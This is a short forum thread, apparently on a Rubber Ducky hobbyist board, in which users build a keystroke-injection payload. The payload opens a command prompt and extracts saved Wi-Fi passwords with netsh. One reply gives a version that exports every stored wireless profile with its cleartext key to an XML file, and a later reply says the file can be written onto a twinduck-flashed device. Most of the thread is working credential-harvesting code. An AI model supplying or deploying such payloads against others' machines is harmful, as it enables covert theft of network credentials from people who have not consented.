Jump to content

netsh script ( need help )


Pandox

Recommended Posts

i have made this  payload 

DELAY 1000
GUI 
DELAY 200
ENTER
STRING cmd
ENTER
DELAY 600
STRING netsh wlan show profiles
ENTER
DELAY 1000
STRING netsh wlan show profile TP-LINK_12E5 key=clear
ENTER

but after typing netsh wlan show profiles in cmd you will get a User Profile ( TP-LINK_12E5

is there anyway to automate the ducky to type the profile that is there because in my payload i already knew but when i do it in a new network, the User Profile is not going to

be TP-LINK_12E5 

 

 
 
Link to comment
Share on other sites

Why not dump all the profiles? Try this instead:

DELAY 1000
GUI 
DELAY 200
ENTER
STRING cmd
ENTER
DELAY 600
STRING netsh wlan export profile key=clear
ENTER

This will dump all profiles and clear text wifi passwords into an xml file in whatever directory you're currently in.

Link to comment
Share on other sites

1 hour ago, Scott2906 said:

i dont know if you know this but is it possible to flash the ducky with the firmware so its a twinduck and just to save the .xml file on the ducky ? 

Yes you can. You might be better off using PowerShell for it, but you'd just navigate to the ducky directory prior to running netsh.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...